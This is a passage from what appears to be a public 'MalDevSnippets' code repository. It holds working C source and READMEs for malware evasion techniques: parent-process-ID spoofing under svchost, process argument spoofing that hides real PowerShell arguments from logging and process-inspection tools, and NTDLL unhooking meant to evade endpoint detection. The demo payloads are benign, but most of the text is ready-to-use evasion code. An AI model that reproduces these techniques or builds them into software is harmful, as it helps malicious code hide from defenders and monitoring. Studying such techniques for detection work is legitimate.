__xxxClientCallDevCallbackCapture; 67 | ULONG_PTR __xxxClientCallDitThread; 68 | ULONG_PTR __xxxClientEnableMMCSS; 69 | ULONG_PTR __xxxClientUpdateDpi; 70 | ULONG_PTR __xxxClientExpandStringW; 71 | ULONG_PTR __ClientCopyDDEIn1; 72 | ULONG_PTR __ClientCopyDDEIn2; 73 | ULONG_PTR __ClientCopyDDEOut1; 74 | ULONG_PTR __ClientCopyDDEOut2; 75 | ULONG_PTR __ClientCopyImage; 76 | ULONG_PTR __ClientEventCallback; 77 | ULONG_PTR __ClientFindMnemChar; 78 | ULONG_PTR __ClientFreeDDEHandle; 79 | ULONG_PTR __ClientFreeLibrary; 80 | ULONG_PTR __ClientGetCharsetInfo; 81 | ULONG_PTR __ClientGetDDEFlags; 82 | ULONG_PTR __ClientGetDDEHookData; 83 | ULONG_PTR __ClientGetListboxString; 84 | ULONG_PTR __ClientGetMessageMPH; 85 | ULONG_PTR __ClientLoadImage; 86 | ULONG_PTR __ClientLoadLibrary; 87 | ULONG_PTR __ClientLoadMenu; 88 | ULONG_PTR __ClientLoadLocalT1Fonts; 89 | ULONG_PTR __ClientPSMTextOut; 90 | ULONG_PTR __ClientLpkDrawTextEx; 91 | ULONG_PTR __ClientExtTextOutW; 92 | ULONG_PTR __ClientGetTextExtentPointW; 93 | ULONG_PTR __ClientCharToWchar; 94 | ULONG_PTR __ClientAddFontResourceW; 95 | ULONG_PTR __ClientThreadSetup; 96 | ULONG_PTR __ClientDeliverUserApc; 97 | ULONG_PTR __ClientNoMemoryPopup; 98 | ULONG_PTR __ClientMonitorEnumProc; 99 | ULONG_PTR __ClientCallWinEventProc; 100 | ULONG_PTR __ClientWaitMessageExMPH; 101 | ULONG_PTR __ClientWOWGetProcModule; 102 | ULONG_PTR __ClientWOWTask16SchedNotify; 103 | ULONG_PTR __ClientImmLoadLayout; 104 | ULONG_PTR __ClientImmProcessKey; 105 | ULONG_PTR __fnIMECONTROL; 106 | ULONG_PTR __fnINWPARAMDBCSCHAR; 107 | ULONG_PTR __fnGETTEXTLENGTHS2; 108 | ULONG_PTR __fnINLPKDRAWSWITCHWND; 109 | ULONG_PTR __ClientLoadStringW; 110 | ULONG_PTR __ClientLoadOLE; 111 | ULONG_PTR __ClientRegisterDragDrop; 112 | ULONG_PTR __ClientRevokeDragDrop; 113 | ULONG_PTR __fnINOUTMENUGETOBJECT; 114 | ULONG_PTR __ClientPrinterThunk; 115 | ULONG_PTR __fnOUTLPCOMBOBOXINFO2; 116 | ULONG_PTR __fnOUTLPSCROLLBARINFO; 117 | ULONG_PTR __fnINLPUAHDRAWMENU2; 118 | ULONG_PTR __fnINLPUAHDRAWMENUITEM; 119 | ULONG_PTR __fnINLPUAHDRAWMENU3; 120 | ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM; 121 | ULONG_PTR __fnINLPUAHDRAWMENU4; 122 | ULONG_PTR __fnOUTLPTITLEBARINFOEX; 123 | ULONG_PTR __fnTOUCH; 124 | ULONG_PTR __fnGESTURE; 125 | ULONG_PTR __fnPOPTINLPUINT4; 126 | ULONG_PTR __fnPOPTINLPUINT5; 127 | ULONG_PTR __xxxClientCallDefaultInputHandler; 128 | ULONG_PTR __fnEMPTY; 129 | ULONG_PTR __ClientRimDevCallback; 130 | ULONG_PTR __xxxClientCallMinTouchHitTestingCallback; 131 | ULONG_PTR __ClientCallLocalMouseHooks; 132 | ULONG_PTR __xxxClientBroadcastThemeChange; 133 | ULONG_PTR __xxxClientCallDevCallbackSimple; 134 | ULONG_PTR __xxxClientAllocWindowClassExtraBytes; 135 | ULONG_PTR __xxxClientFreeWindowClassExtraBytes; 136 | ULONG_PTR __fnGETWINDOWDATA; 137 | ULONG_PTR __fnINOUTSTYLECHANGE2; 138 | ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2; 139 | } KERNELCALLBACKTABLE; 140 | 141 | typedef struct _PEB 142 | { 143 | UCHAR InheritedAddressSpace; //0x0 144 | UCHAR ReadImageFileExecOptions; //0x1 145 | UCHAR BeingDebugged; //0x2 146 | union 147 | { 148 | UCHAR BitField; //0x3 149 | struct 150 | { 151 | UCHAR ImageUsesLargePages : 1; //0x3 152 | UCHAR IsProtectedProcess : 1; //0x3 153 | UCHAR IsImageDynamicallyRelocated : 1; //0x3 154 | UCHAR SkipPatchingUser32Forwarders : 1; //0x3 155 | UCHAR IsPackagedProcess : 1; //0x3 156 | UCHAR IsAppContainer : 1; //0x3 157 | UCHAR IsProtectedProcessLight : 1; //0x3 158 | UCHAR IsLongPathAwareProcess : 1; //0x3 159 | }; 160 | }; 161 | UCHAR Padding0[4]; //0x4 162 | VOID* Mutant; //0x8 163 | VOID* ImageBaseAddress; //0x10 164 | struct _PEB_LDR_DATA* Ldr; //0x18 165 | struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x20 166 | VOID* SubSystemData; //0x28 167 | VOID* ProcessHeap; //0x30 168 | struct _RTL_CRITICAL_SECTION* FastPebLock; //0x38 169 | union _SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 170 | VOID* IFEOKey; //0x48 171 | union 172 | { 173 | ULONG CrossProcessFlags; //0x50 174 | struct 175 | { 176 | ULONG ProcessInJob : 1; //0x50 177 | ULONG ProcessInitializing : 1; //0x50 178 | ULONG ProcessUsingVEH : 1; //0x50 179 | ULONG ProcessUsingVCH : 1; //0x50 180 | ULONG ProcessUsingFTH : 1; //0x50 181 | ULONG ProcessPreviouslyThrottled : 1; //0x50 182 | ULONG ProcessCurrentlyThrottled : 1; //0x50 183 | ULONG ProcessImagesHotPatched : 1; //0x50 184 | ULONG ReservedBits0 : 24; //0x50 185 | }; 186 | }; 187 | UCHAR Padding1[4]; //0x54 188 | union 189 | { 190 | VOID* KernelCallbackTable; //0x58 191 | VOID* UserSharedInfoPtr; //0x58 192 | }; 193 | ULONG SystemReserved; //0x60 194 | ULONG AtlThunkSListPtr32; //0x64 195 | VOID* ApiSetMap; //0x68 196 | ULONG TlsExpansionCounter; //0x70 197 | UCHAR Padding2[4]; //0x74 198 | VOID* TlsBitmap; //0x78 199 | ULONG TlsBitmapBits[2]; //0x80 200 | VOID* ReadOnlySharedMemoryBase; //0x88 201 | VOID* SharedData; //0x90 202 | VOID** ReadOnlyStaticServerData; //0x98 203 | VOID* AnsiCodePageData; //0xa0 204 | VOID* OemCodePageData; //0xa8 205 | VOID* UnicodeCaseTableData; //0xb0 206 | ULONG NumberOfProcessors; //0xb8 207 | ULONG NtGlobalFlag; //0xbc 208 | union _LARGE_INTEGER CriticalSectionTimeout; //0xc0 209 | ULONGLONG HeapSegmentReserve; //0xc8 210 | ULONGLONG HeapSegmentCommit; //0xd0 211 | ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 212 | ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 213 | ULONG NumberOfHeaps; //0xe8 214 | ULONG MaximumNumberOfHeaps; //0xec 215 | VOID** ProcessHeaps; //0xf0 216 | VOID* GdiSharedHandleTable; //0xf8 217 | VOID* ProcessStarterHelper; //0x100 218 | ULONG GdiDCAttributeList; //0x108 219 | UCHAR Padding3[4]; //0x10c 220 | struct _RTL_CRITICAL_SECTION* LoaderLock; //0x110 221 | ULONG OSMajorVersion; //0x118 222 | ULONG OSMinorVersion; //0x11c 223 | USHORT OSBuildNumber; //0x120 224 | USHORT OSCSDVersion; //0x122 225 | ULONG OSPlatformId; //0x124 226 | ULONG ImageSubsystem; //0x128 227 | ULONG ImageSubsystemMajorVersion; //0x12c 228 | ULONG ImageSubsystemMinorVersion; //0x130 229 | UCHAR Padding4[4]; //0x134 230 | ULONGLONG ActiveProcessAffinityMask; //0x138 231 | ULONG GdiHandleBuffer[60]; //0x140 232 | VOID(*PostProcessInitRoutine)(); //0x230 233 | VOID* TlsExpansionBitmap; //0x238 234 | ULONG TlsExpansionBitmapBits[32]; //0x240 235 | ULONG SessionId; //0x2c0 236 | UCHAR Padding5[4]; //0x2c4 237 | union _ULARGE_INTEGER AppCompatFlags; //0x2c8 238 | union _ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 239 | VOID* pShimData; //0x2d8 240 | VOID* AppCompatInfo; //0x2e0 241 | struct _UNICODE_STRING CSDVersion; //0x2e8 242 | struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 243 | struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 244 | struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 245 | struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 246 | ULONGLONG MinimumStackCommit; //0x318 247 | struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 248 | struct _LIST_ENTRY FlsListHead; //0x328 249 | VOID* FlsBitmap; //0x338 250 | ULONG FlsBitmapBits[4]; //0x340 251 | ULONG FlsHighIndex; //0x350 252 | VOID* WerRegistrationData; //0x358 253 | VOID* WerShipAssertPtr; //0x360 254 | VOID* pUnused; //0x368 255 | VOID* pImageHeaderHash; //0x370 256 | union 257 | { 258 | ULONG TracingFlags; //0x378 259 | struct 260 | { 261 | ULONG HeapTracingEnabled : 1; //0x378 262 | ULONG CritSecTracingEnabled : 1; //0x378 263 | ULONG LibLoaderTracingEnabled : 1; //0x378 264 | ULONG SpareTracingBits : 29; //0x378 265 | }; 266 | }; 267 | UCHAR Padding6[4]; //0x37c 268 | ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 269 | ULONGLONG TppWorkerpListLock; //0x388 270 | struct _LIST_ENTRY TppWorkerpList; //0x390 271 | VOID* WaitOnAddressHashTable[128]; //0x3a0 272 | VOID* TelemetryCoverageHeader; //0x7a0 273 | ULONG CloudFileFlags; //0x7a8 274 | ULONG CloudFileDiagFlags; //0x7ac 275 | CHAR PlaceholderCompatibilityMode; //0x7b0 276 | CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1 277 | struct _LEAP_SECOND_DATA* LeapSecondData; //0x7b8 278 | union 279 | { 280 | ULONG LeapSecondFlags; //0x7c0 281 | struct 282 | { 283 | ULONG SixtySecondEnabled : 1; //0x7c0 284 | ULONG Reserved : 31; //0x7c0 285 | }; 286 | }; 287 | ULONG NtGlobalFlag2; //0x7c4 288 | } PEB, * PPEB; 289 | 290 | typedef LONG KPRIORITY; 291 | 292 | typedef struct _PROCESS_BASIC_INFORMATION { 293 | NTSTATUS ExitStatus; 294 | PPEB PebBaseAddress; 295 | ULONG_PTR AffinityMask; 296 | KPRIORITY BasePriority; 297 | ULONG_PTR UniqueProcessId; 298 | ULONG_PTR InheritedFromUniqueProcessId; 299 | } PROCESS_BASIC_INFORMATION; 300 | 301 | typedef enum _PROCESSINFOCLASS 302 | { 303 | ProcessBasicInformation = 0, 304 | ProcessDebugPort = 7, 305 | ProcessWow64Information = 26, 306 | ProcessImageFileName = 27, 307 | ProcessBreakOnTermination = 29 308 | } PROCESSINFOCLASS, * PPROCESSINFOCLASS; 309 | 310 | typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)( 311 | HANDLE ProcessHandle, 312 | PROCESSINFOCLASS ProcessInformationClass, 313 | PVOID ProcessInformation, 314 | ULONG ProcessInformationLength, 315 | PULONG ReturnLength 316 | ); -------------------------------------------------------------------------------- /PPIDSpoof/PPIDSpoof.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | // Function to create a new process with a spoofed parent process ID 6 | BOOL CreatePPidSpoofedProcess(IN HANDLE hParentProcess, IN LPCWSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) 7 | { 8 | // Process and thread attributes 9 | WCHAR lpPath[MAX_PATH * 2]; 10 | WCHAR WnDr[MAX_PATH]; 11 | SIZE_T sThreadAttList = NULL; 12 | PPROC_THREAD_ATTRIBUTE_LIST pThreadAttList = NULL; 13 | 14 | STARTUPINFOEXA SiEx = { 0 }; 15 | PROCESS_INFORMATION Pi = { 0 }; 16 | 17 | // Zero the memory for STARTUPINFOEXA and PROCESS_INFORMATION 18 | RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA)); 19 | RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION)); 20 | SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA); 21 | 22 | // Get the Windows directory path 23 | if (!GetEnvironmentVariableW(L"WINDIR", WnDr, MAX_PATH)) 24 | { 25 | wprintf(L"[!] GetEnvironmentVariableW failed with Error : %d \n", GetLastError()); 26 | return FALSE; 27 | } 28 | 29 | // Construct the full path of the process to be started 30 | swprintf(lpPath, sizeof(lpPath) / sizeof(WCHAR), L"%s\\System32\\%s", WnDr, lpProcessName); 31 | 32 | // Get the required size for pThreadAttList 33 | InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList); 34 | 35 | // Allocate memory for pThreadAttList 36 | pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList); 37 | if (pThreadAttList == NULL) 38 | { 39 | printf("[!] HeapAlloc failed with Error : %d \n", GetLastError()); 40 | return FALSE; 41 | } 42 | 43 | // Initialize pThreadAttList 44 | if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) 45 | { 46 | printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError()); 47 | return FALSE; 48 | } 49 | 50 | // Set the parent process attribute 51 | if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) 52 | { 53 | printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError()); 54 | return FALSE; 55 | } 56 | 57 | // Assign the updated pThreadAttList to lpAttributeList in SiEx 58 | SiEx.lpAttributeList = pThreadAttList; 59 | 60 | // Create a new process with the specified parent process 61 | if (!CreateProcessW(NULL, lpPath, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, L"C:\\Windows\\System32", &SiEx.StartupInfo, &Pi)) 62 | { 63 | printf("[!] CreateProcessW Failed with Error : %d \n", GetLastError()); 64 | return FALSE; 65 | } 66 | 67 | // Get the identifiers of the new process 68 | *dwProcessId = Pi.dwProcessId; 69 | *hProcess = Pi.hProcess; 70 | *hThread = Pi.hThread; 71 | 72 | // Clean up: delete the pThreadAttList and close the handle to the parent process 73 | DeleteProcThreadAttributeList(pThreadAttList); 74 | CloseHandle(hParentProcess); 75 | 76 | // Check if the process identifiers are valid, if so return TRUE 77 | if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL) 78 | return TRUE; 79 | 80 | return FALSE; 81 | } 82 | 83 | // Function to find a process named "svchost.exe" 84 | HANDLE FindSvchostProcess() 85 | { 86 | // Take a snapshot of all processes in the system 87 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 88 | if (hSnapshot == INVALID_HANDLE_VALUE) 89 | { 90 | wprintf(L"Failed to create snapshot: %d\n", GetLastError()); 91 | return NULL; 92 | } 93 | 94 | PROCESSENTRY32W pe32; 95 | pe32.dwSize = sizeof(PROCESSENTRY32W); 96 | 97 | // Retrieve information about the first process 98 | if (!Process32FirstW(hSnapshot, &pe32)) 99 | { 100 | wprintf(L"Failed to get first process: %d\n", GetLastError()); 101 | CloseHandle(hSnapshot); 102 | return NULL; 103 | } 104 | 105 | // Walk the snapshot of processes and find svchost.exe 106 | do 107 | { 108 | if (wcscmp(pe32.szExeFile, L"svchost.exe") == 0) 109 | { 110 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); 111 | if (hProcess == NULL) 112 | { 113 | DWORD errorCode = GetLastError(); 114 | if (errorCode == ERROR_ACCESS_DENIED) 115 | { 116 | wprintf(L"Insufficient privileges. Trying next process...\n"); 117 | } 118 | else 119 | { 120 | wprintf(L"Failed to open process: %d\n", errorCode); 121 | } 122 | } 123 | else 124 | { 125 | CloseHandle(hSnapshot); 126 | return hProcess; 127 | } 128 | } 129 | } while (Process32NextW(hSnapshot, &pe32)); 130 | 131 | CloseHandle(hSnapshot); 132 | return NULL; 133 | } 134 | 135 | int main() 136 | { 137 | // Find the "svchost.exe" process 138 | HANDLE hParentProcess = FindSvchostProcess(); 139 | if (hParentProcess == NULL) 140 | { 141 | wprintf(L"Failed to find svchost.exe process\n"); 142 | return 1; 143 | } 144 | 145 | LPCWSTR lpProcessName = L"notepad.exe"; // Wide string literal 146 | DWORD dwProcessId; 147 | HANDLE hProcess; 148 | HANDLE hThread; 149 | 150 | // Create a new process with the spoofed parent process ID 151 | if (CreatePPidSpoofedProcess(hParentProcess, lpProcessName, &dwProcessId, &hProcess, &hThread)) 152 | { 153 | wprintf(L"Process created successfully with ID: %lu\n", dwProcessId); 154 | } 155 | else 156 | { 157 | wprintf(L"Failed to create process\n"); 158 | } 159 | 160 | return 0; 161 | } 162 | -------------------------------------------------------------------------------- /PPIDSpoof/README.md: -------------------------------------------------------------------------------- 1 | # PPID Spoofing 2 | 3 | This example draws inspiration from [MaldevAcademy](https://maldevacademy.com/). 4 | 5 | PPID spoofing is a technique employed to conceal the true relationship between a child process and its genuine parent process by altering the Parent Process ID (PPID) of the former. The following steps outline the procedure for executing this technique: 6 | 7 | 1. Invoke CreateProcessA, utilizing the EXTENDED_STARTUPINFO_PRESENT flag, to acquire additional control over the created process. 8 | 2. Construct the STARTUPINFOEXA structure, which encompasses the list of attributes (LPPROC_THREAD_ATTRIBUTE_LIST). 9 | 3. Call InitializeProcThreadAttributeList twice. The first call determines the size of the list, while the second one carries out the actual initialization. 10 | 4. Utilize UpdateProcThreadAttribute to modify the attributes, specifically setting the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS flag to designate the parent process of the thread. 11 | 12 | To facilitate the process, I implemented the "FindSvchostProcess" function, which locates instances of the svchost process. Subsequently, the code invokes CreatePPidSpoofedProcess() to generate a new process (e.g., "notepad.exe") with the spoofed parent process designated as "svchost.exe". 13 | -------------------------------------------------------------------------------- /ProcArgSpoof/ProcArgSpoof.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | // Typedef for NtQueryInformationProcess function 6 | typedef NTSTATUS(NTAPI *fnNtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); 7 | 8 | // Helper function to read memory from the target process 9 | BOOL ReadFromTargetProcess(IN HANDLE hProcess, IN PVOID pAddress, OUT PVOID *ppReadBuffer, IN DWORD dwBufferSize) 10 | { 11 | SIZE_T sNmbrOfBytesRead = NULL; 12 | 13 | *ppReadBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize); 14 | 15 | // Read the memory from the target process 16 | if (!ReadProcessMemory(hProcess, pAddress, *ppReadBuffer, dwBufferSize, &sNmbrOfBytesRead) || sNmbrOfBytesRead != dwBufferSize) 17 | { 18 | printf("[!] ReadProcessMemory Failed With Error : %d \n", GetLastError()); 19 | printf("[i] Bytes Read : %d Of %d \n", sNmbrOfBytesRead, dwBufferSize); 20 | return FALSE; 21 | } 22 | 23 | return TRUE; 24 | } 25 | 26 | // Helper function to write memory to the target process 27 | BOOL WriteToTargetProcess(IN HANDLE hProcess, IN PVOID pAddressToWriteTo, IN PVOID pBuffer, IN DWORD dwBufferSize) 28 | { 29 | SIZE_T sNmbrOfBytesWritten = NULL; 30 | 31 | // Write the memory to the target process 32 | if (!WriteProcessMemory(hProcess, pAddressToWriteTo, pBuffer, dwBufferSize, &sNmbrOfBytesWritten) || sNmbrOfBytesWritten != dwBufferSize) 33 | { 34 | printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError()); 35 | printf("[i] Bytes Written : %d Of %d \n", sNmbrOfBytesWritten, dwBufferSize); 36 | return FALSE; 37 | } 38 | 39 | return TRUE; 40 | } 41 | 42 | // Function to create a process with spoofed arguments 43 | BOOL CreateArgSpoofedProcess(IN LPWSTR szStartupArgs, IN LPWSTR szRealArgs, OUT DWORD *dwProcessId, OUT HANDLE *hProcess, OUT HANDLE *hThread) 44 | { 45 | NTSTATUS STATUS = NULL; 46 | 47 | WCHAR szProcess[MAX_PATH]; 48 | 49 | STARTUPINFOW Si = {0}; 50 | PROCESS_INFORMATION Pi = {0}; 51 | 52 | PROCESS_BASIC_INFORMATION PBI = {0}; 53 | ULONG uRetern = NULL; 54 | 55 | PPEB pPeb = NULL; 56 | PRTL_USER_PROCESS_PARAMETERS pParms = NULL; 57 | 58 | RtlSecureZeroMemory(&Si, sizeof(STARTUPINFOW)); 59 | RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION)); 60 | 61 | Si.cb = sizeof(STARTUPINFOW); 62 | 63 | // Getting the address of the NtQueryInformationProcess function 64 | fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess"); 65 | if (pNtQueryInformationProcess == NULL) 66 | return FALSE; 67 | 68 | lstrcpyW(szProcess, szStartupArgs); 69 | 70 | // Create the process in suspended state and with no window 71 | if (!CreateProcessW( 72 | NULL, 73 | szProcess, 74 | NULL, 75 | NULL, 76 | FALSE, 77 | CREATE_SUSPENDED | CREATE_NO_WINDOW, 78 | NULL, 79 | L"C:\\Windows\\System32\\", // Path where the process will be created 80 | &Si, 81 | &Pi)) 82 | { 83 | printf("\t[!] CreateProcessA Failed with Error : %d \n", GetLastError()); 84 | return FALSE; 85 | } 86 | 87 | // Getting the PROCESS_BASIC_INFORMATION structure of the remote process which contains the PEB address 88 | if ((STATUS = pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &PBI, sizeof(PROCESS_BASIC_INFORMATION), &uRetern)) != 0) 89 | { 90 | printf("\t[!] NtQueryInformationProcess Failed With Error : 0x%0.8X \n", STATUS); 91 | return FALSE; 92 | } 93 | 94 | // Reading the PEB structure from its base address in the remote process 95 | if (!ReadFromTargetProcess(Pi.hProcess, PBI.PebBaseAddress, &pPeb, sizeof(PEB))) 96 | { 97 | printf("\t[!] Failed To Read Target's Process Peb \n"); 98 | return FALSE; 99 | } 100 | 101 | // Reading the RTL_USER_PROCESS_PARAMETERS structure from the PEB of the remote process 102 | // Read an extra 0xFF bytes to ensure we have reached the CommandLine.Buffer pointer 103 | if (!ReadFromTargetProcess(Pi.hProcess, pPeb->ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF)) 104 | { 105 | printf("\t[!] Failed To Read Target's Process ProcessParameters \n"); 106 | return FALSE; 107 | } 108 | 109 | // Writing the real argument to the process 110 | if (!WriteToTargetProcess(Pi.hProcess, (PVOID)pParms->CommandLine.Buffer, (PVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1))) 111 | { 112 | printf("\t[!] Failed To Write The Real Parameters\n"); 113 | return FALSE; 114 | } 115 | 116 | // Updating the length of the command line argument 117 | DWORD dwNewLen = sizeof(L"powershell.exe"); 118 | if (!WriteToTargetProcess(Pi.hProcess, ((PBYTE)pPeb->ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length)), (PVOID)&dwNewLen, sizeof(DWORD))) 119 | { 120 | return FALSE; 121 | } 122 | 123 | // Cleaning up 124 | HeapFree(GetProcessHeap(), NULL, pPeb); 125 | HeapFree(GetProcessHeap(), NULL, pParms); 126 | 127 | // Resuming the process with the new parameters 128 | ResumeThread(Pi.hThread); 129 | 130 | // Saving output parameters 131 | *dwProcessId = Pi.dwProcessId; 132 | *hProcess = Pi.hProcess; 133 | *hThread = Pi.hThread; 134 | 135 | // Checking if everything is valid 136 | if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL) 137 | return TRUE; 138 | 139 | return FALSE; 140 | } 141 | 142 | int main() 143 | { 144 | LPWSTR szStartupArgs = L"powershell.exe -c Write-Host Totally Legit"; 145 | LPWSTR szRealArgs = L"powershell.exe -c notepad.exe"; 146 | DWORD dwProcessId; 147 | HANDLE hProcess; 148 | HANDLE hThread; 149 | 150 | // Creating the spoofed process 151 | if (CreateArgSpoofedProcess(szStartupArgs, szRealArgs, &dwProcessId, &hProcess, &hThread)) 152 | { 153 | printf("Process created successfully with Process ID: %d\n", dwProcessId); 154 | } 155 | else 156 | { 157 | printf("Failed to create process.\n"); 158 | } 159 | 160 | // Close process and thread handles 161 | CloseHandle(hProcess); 162 | CloseHandle(hThread); 163 | 164 | return 0; 165 | } 166 | -------------------------------------------------------------------------------- /ProcArgSpoof/README.md: -------------------------------------------------------------------------------- 1 | # Process Argument Spoofing 2 | 3 | This example draws inspiration from [MaldevAcademy](https://maldevacademy.com/). 4 | 5 | Process Argument Spoofing involves initiating a benign, suspended process and modifying the CommandLine.Buffer string within its Process Environment Block (PEB) with a payload. Upon resuming the process, logging services record the benign, not the actual, malicious arguments. The following steps outline the procedure for executing this technique: 6 | 7 | 1. Create a process in a suspended state. 8 | 2. Identify the remote PEB address of the created process. 9 | 3. Read the remote PEB and PEB->ProcessParameters structures. 10 | 4. Overwrite ProcessParameters.CommandLine.Buffer string with the payload to execute. 11 | 5. Resume the process. 12 | 13 | Note that overwriting payloads using PEB->ProcessParameters.CommandLine.Buffer can be detected by tools like Process Hacker and 14 | Process Explorer. These tools employ NtQueryInformationProcess to read runtime process command line arguments. However, you can trick these tools by adjusting CommandLine.Length to be less than the buffer size in the remote process. This strategy limits the accessible buffer segment for external tools, effectively hiding the payload. 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MalDevSnippets 2 | 3 | Here you'll find code snippets for exploring malware techniques, like process injection, as well as resources I've found valuable in my learning journey, such as [MaldevAcademy](https://maldevacademy.com/) and the [UnprotectProject](https://unprotect.it/). 4 | -------------------------------------------------------------------------------- /UnhookNTDLL/README.md: -------------------------------------------------------------------------------- 1 | # Unhooking NTDLL 2 | 3 | This code is based on the [Full DLL Unhooking with C++](https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++) post by ired.team. 4 | 5 | This C code unhooks the ntdll.dll library from the current process, which may help evade detection by certain Endpoint Detection and Response (EDR) systems. The code maps a fresh copy of ntdll.dll from disk to memory, finds the virtual address of the hooked ".text" section, copies the fresh .text section over the hooked one, and restores original memory protections. This results in the removal of any hooks, potentially allowing evasion of EDR systems that rely on userland API hooking. 6 | -------------------------------------------------------------------------------- /UnhookNTDLL/UnhookNTDLL.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | /* 6 | * This code is based on the "Full DLL Unhooking with C++" post by ired.team 7 | * Source code available at: https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++ 8 | */ 9 | 10 | int main() 11 | { 12 | // Get the handle to the current process 13 | HANDLE process = GetCurrentProcess(); 14 | 15 | // Initialize MODULEINFO structure 16 | MODULEINFO mi = { 0 }; 17 | 18 | // Get the handle to the loaded module ntdll.dll 19 | HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); 20 | 21 | // Get the module information for ntdll.dll 22 | GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); 23 | 24 | // Get the base address of ntdll.dll 25 | LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; 26 | 27 | // Create a handle to the ntdll file in the system32 directory 28 | HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 29 | 30 | // Create a file mapping for the ntdll file 31 | HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); 32 | 33 | // Map a view of the ntdll file into the address space of the calling process 34 | LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); 35 | 36 | // Get the DOS and NT headers of the ntdll module 37 | PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; 38 | PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); 39 | 40 | // Iterate over the sections in the ntdll module 41 | for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) 42 | { 43 | // Get the section header for the current section 44 | PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); 45 | 46 | // Check if the current section is the .text section 47 | if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) 48 | { 49 | // Change the protection of the .text section to PAGE_EXECUTE_READWRITE 50 | DWORD oldProtection = 0; 51 | bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); 52 | 53 | // Copy the text section from the mapped view to the loaded module 54 | memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); 55 | 56 | // Restore the original protection of the text section 57 | isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); 58 | } 59 | } 60 | 61 